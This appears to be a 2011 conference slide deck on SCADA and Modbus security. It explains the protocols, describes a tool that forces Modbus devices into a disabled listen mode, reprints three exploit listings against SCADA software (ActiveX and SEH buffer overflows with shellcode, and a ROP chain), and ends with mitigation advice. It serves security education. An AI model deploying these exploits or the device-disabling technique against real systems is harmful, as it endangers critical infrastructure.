

SCADA Dismal or bang-bang SCADA

**Yaniv Miron aka Lament
Security Researcher**

FORTCONSULT

Straight talk on IT security

IL Hack

Hacker | Halted

**U S A
2011**

/ About Me

- **Yaniv Miron aka Lament**
- **Security Researcher and Consultant**
- **Found security vulnerabilities in IBM, Oracle, Microsoft and Apache products as in other products**
- **CISO Certified from the Technion (Israel Institute of Technology)**
- **Certified Locksmith**

Agenda

- **SCADA ?**
- **SCADA Security ??**
- **SCADA Hacking ???**
- **Dismal SCADA !**
- **SCADA vs. !SCADA vs. old !SCADA**
- **L1\ /3 D3\ \ / \0**
- **Q & A**

We will not talk about...

What is SCADA (just a short intro... probably there are some people here that didn't worked with SCADA).



SCADA

"SCADA (supervisory control and data acquisition) generally refers to industrial control systems: computer systems that monitor and control industrial, infrastructure, or facility-based processes."

-Wikipedia (PwNz)

General concepts in SCADA

***HMI – Human Machine Interface is the apparatus which presents process data to a human operator, and through this, the human operator monitors and controls the process.**


***RTU - Remote Terminal Units connecting to sensors in the process, converting sensor signals to digital data and sending digital data to the supervisory system.**

***PLC - Programmable Logic Controller is used as field devices because they are more economical, versatile, flexible, and configurable than special-purpose RTUs.**

***IED - Intelligent Electronic Device, usually collect information**


SCADA Security

So in the old days it was easy... Like everything else in security. SCADA systems were isolated and not connected to the internet. So it was mostly internal threat.



SCADA Security cont.

SCADA systems are not isolated as they were... Some of the SCADA systems are just a click away from on a windows desktop as any other application. Of course the windows machine connected to the internet and the employee surfs in porn websites.




Protocols

The are several major protocols in addition to the use of TCP.

Some of them are:

- DNP3
- ModBus



The DNP3 Protocol

DNP - Distributed Network Protocol (3)

DNP3 is a set of communications protocols used between components in process automation systems.

Its main use is in utilities such as electric and water companies. Usage in other industries is not common.

It was developed for communications between various types of data acquisition and control equipment.

It is primarily used for communications between a master station and RTUs or IEDs.

The ModBus Protocol

Modbus is a serial communications protocol published by Modicon in 1979 for use with its programmable logic controllers (PLCs).

Simple and robust, it has since become one of the de facto standard communications protocols in the industry, and it is now amongst the most commonly available means of connecting industrial electronic devices.

ModBus Versions

Modbus RTU

Modbus ASCII

Modbus TCP/IP or Modbus TCP

Modbus over TCP/IP or Modbus over TCP or Modbus RTU/IP

Modbus over UDP

Modbus Plus (Modbus+, MB+ or MBP)

Modbus PEMEX

Protocols that we ignore now

RP-570, Profibus and Conitel and some more

If you want to learn about them read in Wikipedia



ModBus/TCP

ModBus/TCP

Modbus TCP Frame Format		
Name	Length	Function
Transaction Identifier	2 bytes	<i>For synchronization between messages of server & client</i>
Protocol Identifier	2 bytes	<i>Zero for MODBUS/TCP</i>
Length Field	2 bytes	<i>Number of remaining bytes in this frame</i>
Unit Identifier	1 byte	<i>Slave Address (255 if not used)</i>
Function code	1 byte	<i>Function codes as in other variants</i>
Data bytes	n bytes	<i>Data as response or commands</i>

ModBus Functions

			Function Name	Function Code
Data Access	Bit access	Physical Discrete Inputs	Read Discrete Inputs	2
		Internal Bits or Physical Coils	Read Coils	1
			Write Single Coil	5
			Write Multiple Coils	15
	16-bit access	Physical Input Registers	Read Input Register	4
		Internal Registers or Physical Output Registers	Read Holding Registers	3
			Write Single Register	6
			Write Multiple Registers	16
			Read/Write Multiple Registers	23
			Mask Write Register	22
File Record Access	Read FIFO Queue	24		
	Read File Record	20		
	Write File Record	21		
Diagnostics			Read Exception Status	7
			Diagnostic	8
			Get Com Event Counter	11
			Get Com Event Log	12
			Report Slave ID	17
			Read Device Identification	43
Other			Encapsulated Interface Transport	43

Who uses ModBus?

SCADA systems ;)

ModBus Security?

NONE !

Authentication ?

User? Password?

I SEE U – ModBus Fingerprint

ModBus TCP usually uses port 502...

Sniff the network... you will see the ModBus commands being sent all over

The Tool

The tool named "SCADA Dismal".

Dismal:

"1. causing gloom or dejection; gloomy; dreary; cheerless; melancholy: dismal weather."

Why this is the name of the tool?

**Because that how I felt when I've heard about
SCADA security.**

Why did I wrote it?


Had to do some SCADA PT, didn't found a good tool that would do the things that I need to prove. One command from the tool did it. Client is happy, I'm happy. I win.

Set a Slave

So for the test we will have to set a Slave and a Master. Yeah slavery is illegal in most of the world. But it's not illegal in the machines world.


Q – What is a Slave?

A – An app / device that gets commands from it's Master



Set a Master

Setting a Master, the master is the all mighty commander that control the slaves. Again, it's legal in the machines world.



Tool Command #1

The Report command

The report command will get us some information on the Slave device.



Tool Command #2

The ForceListen command

Definitely will kill the slave device, the command would force him to be in listen mode, without accepting any other command.



Tool Command #3

The ReleaseListen command

Well, we want a way to fix the ForceListen command, so ReleaseListen will heal the slave.



Dismal TODO

Adding lots of other command
Improving the scanning mechanism
Automation
Lots of other stuff

Please tell me if you want to add something

Other attack methods

So other than attacking Modbus SCADA devices with the Dismal tool you can do it in the good old way, which is pentesting it (same as pentesting infrastructure but with some changes)

OR you can use some Metasploit

OR you can use Exploit-DB

OR you can DO IT ALL!


Exploit #1 - PS

```
# Exploit Title: KingView 6.5.3 SCADA ActiveX
# Date: March 07 2011
# Author: Carlos Mario Penagos Hollmann
# Software Link: http://download.kingview.com/software/kingview%20English%20Version/kingview6.53_EN.rar
# Version: 6.53 (English)
# Tested on: Windows xp sp3 running on VMware Fusion 3.1 and VirtualBox 3.2.8
```

Thanks to Dillon Beresford for Heap Exploit

<html>

mail----> shogilord^gmail.com spams are welcome!!!!!!



COLOMBIA hacking presents.....

Beijing WellinControl Technology Development Co.,Ltd FIX your KVWebSvr.dll

```
<object classid='clsid:F31C42E3-CBF9-4E5C-BB95-521B4E85060D' id='target' /></object>
```

```
<script language='javascript'>
```

```
nse="\xEB\x06\x90\x90";
```

```
seh="\x4E\x20\xD1\x72";
```

```
nops="\x90";
```

```
while (nops.length<10){ nops+="\x90";}
```

```
/*Calc.exe alpha_upper badchars --> "\x8b\x93\x83\x8a\x8c\x8d\x8f\x8e\x87\x81\x84\x86\x88\x89\x90\x91\x92\x94\x9d\x9b\x9f\x76*/
```

```
shell="\x54\x5f\xda\xdf\xda\x97\x77\x74\x5e\x56\x59\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x53\x30\x41\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x5a\x4c\x43\x58\x51\x30\x51\x30\x51\x30\x56\x4f\x52\x48\x52\x43\x45\x31\x52\x4c\x43\x53\x4c\x4d\x51\x55\x5a\x54\x37\x4b\x4f\x58\x50\x41\x41";
```

```
junk1="A";
```

```
junk2="A";
```

```
while (junk1.length<624){ junk1+=junk1;}
```

```
junk1=junk1.substring(0,624);
```

```
junk2=junk1;
```

```
while (junk2.length<8073){ junk2+=junk2;}
```

```
arg2=junk1+nse+seh+nops+shell+junk2;
```

Exploit #1 - Details

Active X BoF

Exploit Title: KingView 6.5.3 SCADA ActiveX

Date: March 07 2011

Author: Carlos Mario Penagos Hollmann

Version: 6.53 (English)

Tested on: Windows xp sp3 running on VMware Fusion 3.1 and VirtualBox 3.2.8

Exploit #2 - PS

```
@ip = ARGV[0]
@port = 80

# windows/exec CMD=calc.exe
shellcode = "\xb8\xd5\x45\x06\xc4\xda\xde\xd9\x74\x24\xf4\x5b\x33\xc9" +
"\xb1\x33\x31\x43\x12\x03\x43\x12\x83\x3e\xb9\xe4\x31\x3c" +
"\xaa\x60\xb9xbc\x2b\x13\x33\x59\x1a\x01\x27\x2a\x0f\x95" +
"\x23\x7e\xbc\x5e\x61\x6a\x37\x12\xae\x9d\xf0\x99\x88\x90" +
"\x01\x2c\x15\x7e\xc1\x2e\xe9\x7c\x16\x91\xd0\x4f\x6b\xd0" +
"\x15\xad\x84\x80\xce\xba\x37\x35\x7a\xfe\x8b\x34\xac\x75" +
"\xb3\x4e\xc9\x49\x40\xe5\xd0\x99\xf9\x72\x9a\x01\x71xdc" +
"\x3b\x30\x56\x3e\x07\x7b\xd3\xf5\xf3\x7a\x35\xc4\xfc\x4d" +
"\x79\x8b\xc2\x62\x74\xd5\x03\x44\x67\xa0\x7f\xb7\x1a\xb3" +
"\xbb\xca\xc0\x36\x5e\x6c\x82\xe1\xba\x8d\x47\x77\x48\x81" +
"\x2c\xf3\x16\x85\xb3\xd0\x2c\xb1\x38\xd7\xe2\x30\x7a\xfc" +
"\x26\x19\xd8\x9d\x7f\xc7\x8f\xa2\x60\xaf\x70\x07\xea\x5d" +
"\x64\x31\xb1\x0b\x7b\xb3\xcf\x72\x7b\xcb\xcf\xd4\x14\xfa" +
"\x44\xbb\x63\x03\x8f\xf8\x9c\x49\x92\xa8\x34\x14\x46\xe9" +
"\x58\xa7\xbc\x2d\x65\x24\x35\xcd\x92\x34\x3c\xc8\xdf\xf2" +
"\xac\xa0\x70\x97\xd2\x17\x70\xb2\xb0\xf6\xe2\x5e\x19\x9d" +
"\x82\xc5\x65"

payload = "H" * 1599
payload << "\xeb\x06\x90\x90" # Pointer to Next SE Handler
payload << [0x719737FA].pack("V*") # SEH Handler - p/p/r
payload << "\x90" * 40
payload << shellcode
payload << "\x90" * (4058 - shellcode.length)

pack = "GET /#{payload} HTTP/1.1\r\n"
pack << "Host: http://#{@ip}:#{@port}\r\n\r\n"

puts "packet sended." if send(pack)
```

Exploit #2 - Details

Sunway Force Control SCADA httpsvr.exe Exploit

Exploitable with simple SEH Overwrite technique

Tested on XP SP0 English

Probably will work on XP SP3 if you find none-safeseh dll for p/p/r pointer

Canberk BOLAT | @cnbrkbolat

Vendor: <http://www.sunwayland.com.cn/>

Exploit #3 - PS

```
"\xf7\x91\x5b\x60\xf7\x06\x5b\xa1";

if(strcmp($target,"scadaphone") === 0){

    // add esp 418; retn
    $__pivot = "\x0b\x33\xc6\x01";
    $__jmp = "\xeb\x06HI";

    $__rop = "";
    $__rop .=
"\x1c\x05\x03\x10". // xor edx,edx; retn
"\xa2\xce\x02\x10". // pop eax; retn
"\xf4\x11\x6e\x6d". // &VirtualProtect
"\xa9\x4e\x01\x10". // mov eax,[eax]; retn
"\xd7\xbf\x01\x10". // push eax; mov eax,[edx*4+10036948]; and eax,esi; po
"\xc0\xff\xff\xff". // special sauce -----
"\x1e\xe0\x02\x10". // add edx,ebx; pop ebx; retn 10
"LOLZ". // junk
"\xea\x37\xc6\x01". // neg edx; neg eax; sbb edx,0; pop ebx; retn 10
"CAFEBABE". // junk
"CAFEBABE". // junk
"\xbf\x52\xc6\x01". // .data writable -----^^
"\xa2\xce\x02\x10". // pop eax; retn
"CAFEBABE". // junk
"CAFEBABE". // junk
"\x17\x32\xc6\x01". // ptr to 0x400
"\xa9\x4e\x01\x10". // mov eax,[eax]; retn
"\xe4\x85\x02\x10". // xchg eax,ebx; add dl,[eax]; mov [eax+8],11; mov eax
"\xa2\xce\x02\x10". // pop eax; retn
"\x90\x90\x90\x90". // nops
"\x53\x54\x10\x10". // pop edi; retn
"\x54\x54\x10\x10". // retn
"\x01\xec\x02\x10". // pop ecx; retn
"\xc0\x52\xc6\x01". // .data writable
"\x03\xc0\x17\x10". // pop ebp; retn
"\x44\xcb\x2b\x10". // ptr to 'push esp; ret'
"\xb7\xc9\x27\x10"; // pushad; retn
```

Exploit #3 - Details

ScadaTEC ModbusTagServer & ScadaPhone (.zip) buffer overflow exploit (0day)

Date: 09/09/2011

Author: mr_me (@net__ninja)

Vendor: <http://www.scadatec.com/>

ScadaPhone Version: <= 5.3.11.1230

ModbusTagServer Version: <= 4.1.1.81

Tested on: Windows XP SP3 NX=AlwaysOn/OptIn

Who may find bugs?

Users? Old employees that uses SCADA, Maybe thought in old time that its just a bug and ignored it. But NOT anymore, now they probably know it's a security breach.

HACKERS

Security researchers and pentesters

Protection?

What the hell is ASLR? DEP? SafeSEH? ...




Fuzzing

Come on...how hard is it to write a fuzzer for SCADA applications?

Reversing

IDA baby...use IDA (or olly, or something else)



Attack mitigation


**Separate your SCADA network.
Separate your SCADA network.
Separate your SCADA network.**

You can't fix the entire system, user some preventive measures.

False-positive ??

Firewalls?

YES! Firewall could be a great help here, in addition, a web application firewall (WAF) could also help here. Because at the end SCADA application as just applications.



IDS/IPS

Signatures and Heuristic detection

Probably IDS & Monitor it!

IPS? Might have a bad signature or bad detection :/



Live Demo!

DEMO !



To wrap it all up

SCADA security is bad, very bad, SCADA protocols are bad, very bad.

In the short run we need to use mitigation. In the long run we need to fix some stuff and use some secured protocols.

We don't want our electricity, water and oil system to be hacked for fun and profit.

E [0] F

Thank you!

Questions?

>>

Yaniv Miron aka Lament

lament@ilhack.org

<http://www.ilhack.org/lament>

In god we trust, all others we monitor.